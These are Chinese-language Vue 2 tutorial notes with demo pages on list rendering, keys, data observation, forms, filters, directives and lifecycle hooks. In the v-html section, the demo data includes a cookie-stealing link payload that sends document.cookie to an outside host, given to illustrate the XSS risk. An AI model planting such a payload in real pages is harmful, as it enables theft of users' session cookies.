<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>基本列表</title>     <script type="text/javascript" src="../js/vue.js"></script> </head>  <body>      <div id="root">         <!-- 遍历数组 -->         <h3>人员列表(遍历数组)</h3>         <ul>             <li v-for="(p,index) of persons" :key="index">{{ p.name }}-{{ p.age }}</li>         </ul>          <!-- 遍历对象 -->         <h3>汽车信息(遍历对象)</h3>         <ul>             <li v-for="(value,k) of car" :key="k">{{ k }}-{{ value }}</li>         </ul>          <!-- 遍历字符串 -->         <h3>测试遍历字符串(用得少)</h3>         <ul>             <li v-for="(char,index) of str" :key="index">{{ char }}-{{ index }}</li>         </ul>          <!-- 遍历指定次数 -->         <h3>测试遍历指定次数(用得少)</h3>         <ul>             <li v-for="(number,index) of 5" :key="index">{{ index }}-{{ number }}</li>         </ul>     </div>      <script type="text/javascript">         Vue.config.productionTip = false         new Vue({             el: '#root',             data: {                 persons: [                     { id: '001', name: '张三', age: 18 },                     { id: '002', name: '李四', age: 19 },                     { id: '003', name: '王五', age: 20 }                 ],                 car: {                     name: '奥迪A8',                     price: '70万',                     color: '黑色'                 },                 str: 'hello'             }         })     </script> </body>  </html> 

Vue笔记

(2)key的作用与原理

Vue笔记

Vue笔记

面试题: react vue 中的 key 有什么作用?( key 的内部原理)

  1. 虚拟DOM 中 key 的作用: key 是 虚拟DOM 中对象的标识,当数据发生变化时, Vue 会根据新数据生成新的 虚拟DOM ,随后 Vue 进行新 虚 拟DOM 与旧 虚拟DOM 的差异比较,比较规则如下

  2. 对比规则

    ​ a.旧 虚拟DOM 中找到了与新 虚拟DOM 相同的 key

    ​ i.若 虚拟DOM 中内容没变, 直接使用之前的 真实DOM

    ​ ii.. 若 虚拟DOM 中内容变了, 则生成新的 真实DOM ,随后替换掉页面中之前的 真实DOM

    ​ b. 旧 虚拟DOM 中未找到与新 虚拟DOM 相同的 key

    ​ 创建新的 真实DOM ,随后渲染到到页面

  3. 用 index 作为 key 可能会引发的问题

    1. 若对数据进行逆序添加、逆序删除等破坏顺序操作,会产生没有必要的 真实DOM 更新 ==> 界面效果没问题,但效率低
    2. 若结构中还包含输入类的 DOM :会产生错误 DOM 更新 ==> 界面有问题
  4. 开发中如何选择 key ?

    1. 最好使用每条数据的唯一标识作为 key ,比如 id、手机号、身份证号、学号等唯一值
    2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用 index 作为 key 是没有问题的
<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>key的原理</title>     <script type="text/javascript" src="../js/vue.js"></script> </head>  <body>     <div id="root">         <h2>人员列表(遍历数组)</h2>         <button @click.once="add">添加一个D</button>         <ul>              <li v-for="(p,index) of persons" :key="p.id"> <!--通过id作为key可以防止内容错乱 -->                 {{p.name}}-{{p.age}}                 <input type="text">             </li>         </ul>     </div>      <script type="text/javascript">         Vue.config.productionTip = false         new Vue({             el: '#root',             data: {                 persons: [                     { id: '001', name: 'A', age: 18 },                     { id: '002', name: 'B', age: 19 },                     { id: '003', name: 'C', age: 20 }                 ]             },             methods: {                 add() {                     const p = { id: '004', name: 'D', age: 20 }                     this.persons.unshift(p)                 }             },         })     </script> </body>  </html> 

Vue笔记

(3)列表过滤

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>列表过滤</title>     <script type="text/javascript" src="../js/vue.js"></script> </head>  <body>     <div id="root">         <h2>人员列表</h2>         <input type="text" placeholder="请输入姓名" v-model="keyWord">         <ul>             <li v-for="(p,index) of filPersons" :key="index">                 {{p.name}}-{{p.age}}-{{p.sex}}             </li>         </ul>     </div>      <script type="text/javascript">         Vue.config.productionTip = false          // 用 watch 实现         // #region         // new Vue({         //     el: '#root',         //     data: {         //         keyWord: '',         //         persons: [         //             { id: '001', name: '马冬梅', age: 19, sex: '女' },         //             { id: '002', name: '周冬雨', age: 20, sex: '女' },         //             { id: '003', name: '周杰伦', age: 21, sex: '男' },         //             { id: '004', name: '温兆伦', age: 22, sex: '男' }         //         ],         //         filPersons: []         //     },         //     watch: {         //         keyWord: {         //             immediate: true,         //             handler(val) {         //                 this.filPersons = this.persons.filter((p) => {         //                     return p.name.indexOf(val) !== -1         //                 })         //             }         //         }         //     }         // })          //#endregion         // 用 computed 实现         new Vue({             el: '#root',             data: {                 keyWord: '',                 persons: [                     { id: '001', name: '马冬梅', age: 19, sex: '女' },                     { id: '002', name: '周冬雨', age: 20, sex: '女' },                     { id: '003', name: '周杰伦', age: 21, sex: '男' },                     { id: '004', name: '温兆伦', age: 22, sex: '男' }                 ]             },             computed: {                 filPersons() {                     return this.persons.filter((p) => {                         return p.name.indexOf(this.keyWord) !== -1                     })                 }             }         })      </script> </body>  </html> 

Vue笔记

(4)列表排序

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>列表排序</title>     <script type="text/javascript" src="../js/vue.js"></script> </head>  <body>     <div id="root">         <h2>人员列表</h2>         <input type="text" placeholder="请输入名字" v-model="keyWord">         <button @click="sortType = 2">年龄升序</button>         <button @click="sortType = 1">年龄降序</button>         <button @click="sortType = 0">原顺序</button>         <ul>             <li v-for="(p,index) of filPersons" :key="p.id">                 {{p.name}}-{{p.age}}-{{p.sex}}                              </li>         </ul>      </div>      <script type="text/javascript">         Vue.config.productionTip = false         new Vue({             el: '#root',             data: {                 keyWord: '',                 sortType: 0, // 0原顺序 1降序 2升序                 persons: [                     { id: '001', name: '马冬梅', age: 30, sex: '女' },                     { id: '002', name: '周冬雨', age: 31, sex: '女' },                     { id: '003', name: '周杰伦', age: 18, sex: '男' },                     { id: '004', name: '温兆伦', age: 19, sex: '男' }                 ]             },             computed: {                 filPersons() {                     const arr = this.persons.filter((p) => {                         return p.name.indexOf(this.keyWord) !== -1                     })                     //判断一下是否需要排序                     if (this.sortType) {                         arr.sort((p1, p2) => {                             return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age                         })                     }                     return arr                 }             }         })      </script> </body>  </html> 

Vue笔记

(5)数据监视

更新时的一个问题

this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} 更改 data 数据, Vue 不监听,模板不改变

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>更新时的一个问题</title>     <script type="text/javascript" src="../js/vue.js"></script> </head>  <body>     <div id="root">         <h2>人员列表</h2>         <button @click="updateMei">更新马冬梅的信息</button>         <ul>             <li v-for="(p,index) of persons" :key="p.id">                 {{p.name}}-{{p.age}}-{{p.sex}}             </li>         </ul>      </div>      <script type="text/javascript">         Vue.config.productionTip = false         const vm = new Vue({             el: '#root',             data: {                 persons: [                     { id: '001', name: '马冬梅', age: 30, sex: '女' },                     { id: '002', name: '周冬雨', age: 31, sex: '女' },                     { id: '003', name: '周杰伦', age: 18, sex: '男' },                     { id: '004', name: '温兆伦', age: 19, sex: '男' }                 ]             },             methods: {                 updateMei() {                     // this.persons[0].name = '马老师' //奏效                     // this.persons[0].age = 50 //奏效                     // this.persons[0].sex = '男' //奏效                     // this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效                     this.persons.splice(0, 1, { id: '001', name: '马老师', age: 50, sex: '男' })                 }             }         })       </script> </body>  </html> 

Vue笔记

(6)模拟一个数据监测

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>Vue监测数据改变的原理</title>     <script type="text/javascript" src="../js/vue.js"></script> </head>  <body>     <script type="text/javascript">         let data = {             name: 'DFshmily',             address: 'China',         }           // 创建一个监视的实例对象,用于监视data中属性的变化           const obs = new Observer(data)         console.log(obs)         // 准备一个vm实例对象         let vm = {}         vm._data = data = obs                   function Observer(obj) {             // 汇总对象中所有的属性形成一个数组             const keys = Object.keys(obj)             // 遍历             keys.forEach((k) => {                 Object.defineProperty(this, k, {                     get() {                         return obj[k]                     },                     set(val) {                         console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)                         obj[k] = val                     }                 })             })         }            </script> </body>  </html> 

原理;

  1. vue 会监视 data 中所有层次的数据

  2. 如何监测对象中的数据?

    通过 setter 实现监视,且要在new Vue()时就传入要监测的数据

    • 对象创建后追加的属性, Vue 默认不做响应式处理
    • 如需给后添加的属性做响应式,请使用如下API
      • Vue.set(target,propertyName/index,value)
      • vm.$set(target,propertyName/index,value)
  3. 如何监测数组中的数据?

通过包裹数组更新元素的方法实现,本质就是做了两件事

​ a.调用原生对应的方法对数组进行更新

​ b.重新解析模板,进而更新页面

  1. 在 Vue 修改数组中的某个元素一定要用如下方法

push() pop() unshift() shift() splice() sort() reverse() 这几个方法被 Vue 重写了 Vue.set() 或 vm.$set()

特别注意:Vue.set()vm.$set() 不能给 vm 或 vm 的 根数据对象 ( data 等)添加属性

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>总结数据监视</title>     <script type="text/javascript" src="../js/vue.js"></script>     <style>         button {             margin-top: 10px;         }     </style> </head>  <body>     <div id="root">         <h1>学生信息</h1>         <button @click="student.age++">年龄+1岁</button> <br />         <button @click="addSex">添加性别属性,默认值:男</button> <br />         <button @click="student.sex = '未知' ">修改性别</button> <br />         <button @click="addFriend">在列表首位添加一个朋友</button> <br />         <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br />         <button @click="addHobby">添加一个爱好</button> <br />         <button @click="updateHobby">修改第一个爱好为:writing</button> <br />         <button @click="removeEating">过滤掉爱好中的eating</button> <br />          <h3>姓名:{{ student.name }}</h3>         <h3>年龄:{{ student.age }}</h3>         <h3 v-if="student.sex">性别:{{student.sex}}</h3>         <h3>爱好:</h3>         <ul>             <li v-for="(h,index) in student.hobby" :key="index">{{ h }} </li>         </ul>         <h3>朋友们:</h3>         <ul>             <li v-for="(f,index) in student.friends" :key="index">{{ f.name }}--{{ f.age }}</li>         </ul>     </div>     <script type="text/javascript">         Vue.config.productionTip = false         const vm = new Vue({             el: '#root',             data: {                 student: {                     name: 'DFshmily',                     age: 18,                     hobby: ['listening', 'watching', 'eating'],                     friends: [{                         name: 'jack',                         age: 20                     }, {                         name: 'rose',                         age: 19,                     }]                 }             },             methods: {                 addSex() {                     //Vue.set(this.student,'sex','男')                     this.$set(this.student, 'sex', '男')                 },                 addFriend() {                     this.student.friends.unshift({                         name: 'lucy',                         age: 18                     })                  },                 updateFirstFriendName() {                     this.student.friends[0].name = '张三'                 },                 addHobby() {                     this.student.hobby.push('reading')                 },                 updateHobby() {                     this.student.hobby.splice(0, 1, 'writing')                     //Vue.set(this.student.hobby,0,'writing')                     //this.$set(this.student.hobby,0,'writing')                 },                 removeEating() {                     this.student.hobby = this.student.hobby.filter((h) => {                         return h !== 'eating'                     })                 }             },         })     </script> </body>  </html> 

Vue笔记

14、收集表单数据

  • <input type="text"/> ,则 v-model 收集的是 value 值,用户输入的内容就是 value 值

  • <input type="radio"/> ,则 v-model 收集的是 value 值,且要给标签配置 value 属性

  • <input type="checkbox"/>

    • 没有配置 value 属性,那么收集的是 checked 属性(勾选 or 未勾选,是布尔值)
    • 配置了 value 属性
      • v-model 的初始值是非数组,那么收集的就是 checked (勾选 or 未勾选,是布尔值)
      • v-model 的初始值是数组,那么收集的就是 value 组成的数组

    v-model 的三个修饰符

    ​ a.lazy 失去焦点后再收集数据

    ​ b. number 输入字符串转为有效的数字

    ​ c. trim 输入首尾空格过滤

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>收集表单数据</title>     <script type="text/javascript" src="../js/vue.js"></script> </head>  <body>     <div id="root">         <form @submit.prevent="demo">             账号:<input type="text" v-model="userInfo.account"><br /><br />             密码:<input type="password" v-model="userInfo.password"><br /><br />             性别:<input type="radio" name="sex" v-model="userInfo.sex" value="male">男             <input type="radio" name="sex" v-model="userInfo.sex" value="female">女<br /><br />             爱好:<input type="checkbox" v-model="userInfo.hobby" value="study">学习             <input type="checkbox" v-model="userInfo.hobby" value="sleep">睡觉             <input type="checkbox" v-model="userInfo.hobby" value="eat">吃饭<br /><br />             所属校区:             <select v-model="userInfo.city">                 <option value="1">请选择校区</option>                 <option value="北京">北京</option>                 <option value="上海">上海</option>                 <option value="广州">广州</option>                 <option value="深圳">深圳</option>             </select><br /><br />             其他信息:<textarea v-model="userInfo.other"></textarea><br /><br />             <input type="checkbox" v-model="userInfo.agree">我已阅读并同意<a                 href="https://www.cnblogs.com/DFshmily/"></a>用户协议<br /><br />             <button>提交</button>         </form>      </div>      <script type="text/javascript">         Vue.config.productionTip = false         new Vue({             el: '#root',             data: {                 userInfo: {                     account: '',                     password: '',                     sex: '',                     hobby: [],                     city: '',                     other: '',                     agree: ''                 }             },             methods: {                 demo() {                     console.log(JSON.stringify(this.userInfo))                 }             }         })     </script> </body>  </html> 

Vue笔记

Vue笔记

15、过滤器(Vue3已经移除)

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)

注册过滤器:

Vue.filter(name, callback) 全局过滤器

new Vue {filters: {}} 局部过滤器

使用过滤器:{{ xxx | 过滤器名}} v-bind:属性 = "xxx | 过滤器名"

备注:

a. 过滤器可以接收额外参数,多个过滤器也可以串联

b. 并没有改变原本的数据,而是产生新的对应的数据

处理时间的库moment体积较大,dayjs是轻量级

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>过滤器</title>     <script type="text/javascript" src="../js/vue.js"></script>     <script type="text/javascript" src="../js/dayjs.min.js"></script> </head> <body>     <div id="root">         <h2>显示格式化后的时间</h2>         <p>当前时间戳是:{{time}}</p>         <!-- 计算属性实现 -->         <h3>转换后时间是:{{fmtTime}}</h3>          <!-- methods实现 -->         <h3>转换后时间是:{{getFmtTime()}}</h3>          <!-- 过滤器实现 -->         <h3>转换后时间是:{{time | timeFormater}}</h3>          <!-- 过滤器实现(传参) -->         <h3>转换后年月日是:{{time | timeFormater('YYYY-MM-DD') | mySlice}}</h3>              </div>       <script type="text/javascript">         Vue.config.prodectionTip = false         //全局过滤器         Vue.filter('mySlice',function(value){             return value.slice(0,11)         })          new Vue({             el:'#root',             data:{                 time:1621561377603 //时间戳             },             computed:{                 fmtTime(){                     return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')                 }             },             methods:{                 getFmtTime(){                     return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')                 }             },             filters:{                 timeFormater(value,str='YYYY-MM-DD HH:mm:ss'){                     //console.log(value)                     return dayjs(value).format(str)                 },                             }                      })     </script> </body> </html>  

Vue笔记

16、内置指令

(1)v-text指令

作用:向其所在的节点中渲染文本内容

与插值语法的区别:v-text会替换掉节点中的内容, {{xxx}} 则不会,更灵活

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>v-text指令</title>     <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         <div>你好,{{name}}</div><br/>         <div v-text="name"></div>         <div v-text="str"></div>     </div>      <script type="text/javascript">         Vue.config.productionTip = false          new Vue({             el:'#root',             data:{                 name:'DFshmily',                 str:'<h3>你好啊!</h3>'             }         })     </script> </body> </html>  

Vue笔记

(2)v-html指令

作用:向指定节点中渲染包含 html 结构的内容

与插值语法的区别:

  1. v-html会替换掉节点中所有的内容, {{xxx}} 则不会
  2. v-html 可以识别 html 结构

严重注意 v-html 有安全性问题!!!

​ 在网站上动态渲染任意 html 是非常危险的,容易导致 XSS 攻击

​ 一定要在可信的内容上使用 v-html ,永远不要用在用户提交的内容上!!!

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>v-html指令</title>     <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         <div>你好,{{name}}</div><br/>         <div v-html="str"></div>         <div v-html="str2"></div>     </div>      <script type="text/javascript">         Vue.config.productionTip = false          new Vue({             el:'#root',             data:{                 name:'DFshmily',                 str:'<h3>你好啊!</h3>',                 str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',             }         })     </script> </body> </html>  

Vue笔记

(3)v-cloak指令

v-cloak 指令(没有值)

  1. 本质是一个特殊属性, Vue 实例创建完毕并接管容器后,会删掉 v-cloak 属性
  2. 使用 css 配合 v-cloak 可以解决网速慢时页面展示出 {{xxx}} 的问题
<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>v-cloak指令</title>     <style>         [v-cloak] {         display:none;         }        </style> </head> <body>     <div id="root">         <div>你好,{{name}}</div><br/>              </div>     <!-- // 够延迟5秒收到vue.js -->     <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>          <script type="text/javascript">         Vue.config.productionTip = false          new Vue({             el:'#root',             data:{                 name:'DFshmily',             }         })     </script> </body> </html>  

(4)v-once指令

  • v-once 所在节点在初次动态渲染后,就视为静态内容了
  • 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能
<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>v-once指令</title>     <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         <h2 v-once>初始化的n值是:{{n}}</h2>         <h2>当前的n值是:{{n}}</h2>         <button @click="n++">点我n+1</button>     </div>      <script type="text/javascript">         Vue.config.productionTip = false          new Vue({             el:'#root',             data:{                 n:0             }         })     </script> </body> </html>  

Vue笔记

(5)v-pre指令

  1. 跳过 v-pre 所在节点的编译过程
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>v-pre指令</title>     <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         <h2 v-pre>Vue其实很简单</h2>         <h2 >当前的n值是:{{n}}</h2>         <button @click="n++">点我n+1</button>     </div>      <script type="text/javascript">         Vue.config.productionTip = false          new Vue({             el:'#root',             data:{                 n:0             }         })     </script> </body> </html>  

Vue笔记

(6)自定义指令

directives

定义语法

  1. 局部指令
new Vue({  directives:{  指令名:配置对象  } })  new Vue({  directives:{  指令名:回调函数  } }) 
  1. 全局指令
 			Vue.directive(指令名, 配置对象)              或             Vue.directive(指令名, 回调函数)                          Vue.directive('fbind', {                 // 指令与元素成功绑定时(一上来)                 bind(element, binding) { // element就是DOM元素,binding就是要绑定的                     element.value = binding.value                 },                 // 指令所在元素被插入页面时                 inserted(element, binding) {                     element.focus()                 },                 // 指令所在的模板被重新解析时                 update(element, binding) {                     element.value = binding.value                 }             }) 

配置对象中常用的3个回调函数

bind(element, binding) 指令与元素成功绑定时调用

inserted(element, binding) 指令所在元素被插入页面时调用

update(element, binding) 指令所在模板结构被重新解析时调用

elemen 就是 DOM 元素, binding 就是要绑定的对象,它包含以下属性: name value oldValue expression arg modifiers

备注

  1. 指令定义时不加 v- ,但使用时要加 v
  2. 指令名如果是多个单词,要使用 kebab-case 命名方式,不要用 camelCase 命名
<script type="text/javascript">     new Vue({         el: '#root',         data: {             n: 1         },         directives: {             'big-number'(element, binding) {                 element.innerText = binding.value * 10             }         }     }) </script> 

回顾一个DOM指令

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>自定义指令</title>     <script type="text/javascript" src="../js/vue.js"></script>     <style>         .demo {             background-color: orange;         }     </style> </head>  <body>     <button id="btn">点我创建一个输入框</button>      <script type="text/javascript">         const btn = document.getElementById('btn')         btn.onclick = () => {             const input = document.createElement('input')             input.className = 'demo'             input.value = 99             input.onclick = () => { alert(1) }             document.body.appendChild(input)             input.focus()             input.parentElement.style.backgroundColor = 'skyblue'         }     </script>  </body>  </html> 

完整代码:

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>自定义指令</title>     <script type="text/javascript" src="../js/vue.js"></script> </head>  <body>     <div id="root">         <h2>{{name}}</h2>         <h2>当前的n值是:<span v-text="n"></span></h2>         <h2>放大10倍后的n值是:<span v-big="n"></span></h2>         <button @click="n++">点我n+1</button>         <hr />         <input type="text" v-fbind:value="n">     </div>       <script type="text/javascript">         Vue.config.productionTip = false          new Vue({             el: '#root',             data: {                 name: 'DFshmily',                 n: 1             },             directives: {                 //big函数何时会被调用?1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时                 big(element, binding) {                     element.innerHTML = binding.value * 10                 },                 // fbind(element,binding){                 //     element.innerHTML = binding.value                 //     element.focus()                 // }                  fbind: {                     //指令与元素成功绑定时                     bind(element, binding) {                         console.log('bind')                         element.value = binding.value                     },                     //指令所在元素被插入页面时                     inserted(element, binding) {                         console.log('inserted')                         element.focus()                     },                     //指令所在的模板被重新解析时                     update(element, binding) {                         console.log('update')                         element.value = binding.value                     },                 }             }         })     </script> </body>  </html>   

Vue笔记

17、生命周期

(1)引出生命周期

生命周期

  1. 又名生命周期回调函数、生命周期函数、生命周期钩子
  2. 是什么: Vue 在关键时刻帮我们调用的一些特殊名称的函数
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
  4. 生命周期函数中的 this 指向是 vm 或 组件实例对象
<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>引出生命周期</title>     <script type="text/javascript" src="../js/vue.js"></script> </head>  <body>     <div id="root">         <h2 :style="{opacity}">欢迎学习Vue</h2>              </div>      <script type="text/javascript">         Vue.config.productionTip = false         // 一般做法,占用内存         // const vm = new Vue({         //     el:'#root',         //     data:{         //         opacity:1         //     }         // })          // setInterval(() =>{         //         vm.opacity -= 0.01         //         if(vm.opacity <=0)         //             vm.opacity = 1         //     },16)          new Vue({             el: '#root',             data: {                 opacity: 1             },             methods: {                             },             //Vue完成模板的解析并把初始的真实DOM元素放入页面后(完成挂载)调用mounted             mounted() {                 console.log('mounted')                 setInterval(() => {                         this.opacity -= 0.01                         if (this.opacity <= 0)                         this.opacity = 1                     }, 16)             },         })         //通过外部的定时器实现(不推荐),16代表ms,即每16ms执行一次         /* change() {         setInterval(() => {                         this.opacity -= 0.01                         if (this.opacity <= 0)                         this.opacity = 1                     }, 16)                 }*/     </script> </body>  </html> 

Vue笔记

(2)分析生命周期

Vue笔记

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>分析生命周期</title>     <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root" :x="n">         <h2 v-text="n"></h2>         <h2>当前的n值是:{{n}}</h2>         <button @click="add">点我n+1</button>         <button @click="bye">点我销毁vm</button>     </div>      <script type="text/javascript">         Vue.config.productionTip = false          new Vue({             el:'#root',            // template:'<div><h2>当前的n值是:{{n}}</h2><button @click="add">点我n+1</button></div>',             data:{                 n:0             },             methods: {                 add(){                     this.n += 1                 },                 bye(){                     console.log('bye')                     this.$destroy()                 }             },             watch:{                 n(){                     console.log('n 改变了')                 }             },                      beforeCreate() {                 console.log('beforeCreate')             },             created() {                 console.log('created')             },             beforeMount() {                 console.log('beforeMount')             },             mounted() {                 console.log('mounted')             },              beforeUpdate() {                 console.log('beforeUpdate')             },             updated() {                 console.log('updated')             },             beforeDestroy() {                 console.log('beforeDestroy')             },             destroyed() {                 console.log('destroyed')             },          })     </script> </body> </html>  

Vue笔记

(3)总结生命周期

常用的生命周期钩子

  1. mounted 发送 ajax 请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
  2. beforeDestroy 清除定时器、解绑自定义事件、取消订阅消息等收尾工作

关于销毁 Vue 实例

  1. 销毁后借助 Vue 开发者工具看不到任何信息
  2. 销毁后自定义事件会失效,但原生 DOM 事件依然有效
  3. 一般不会在 beforeDestroy 操作数据,因为即便操作数据,也不会再触发更新流程了
<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>总结生命周期</title>     <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         <h2 :style="{opacity}">欢迎学习Vue</h2>         <button @click="opacity = 1">透明度设置为1</button>         <button @click="stop">点我停止变换</button>     </div>       <script type="text/javascript">         Vue.config.productionTip = false          new Vue({             el:'#root',             data:{                 opacity:1             },             methods: {                 stop(){                     //clearInterval(this.timer)                     this.$destroy()                 }             },             mounted() {                 console.log('mounted',this)                 this.timer=setInterval(() => {                     console.log('setInterval')                         this.opacity -= 0.01                         if (this.opacity <= 0)                         this.opacity = 1                     }, 16)             },             beforeDestroy() {                 console.log('vm即将驾鹤西游了')                 clearInterval(this.timer)             },                      })     </script>  </body> </html> 

Vue笔记

二、Vue组件化编程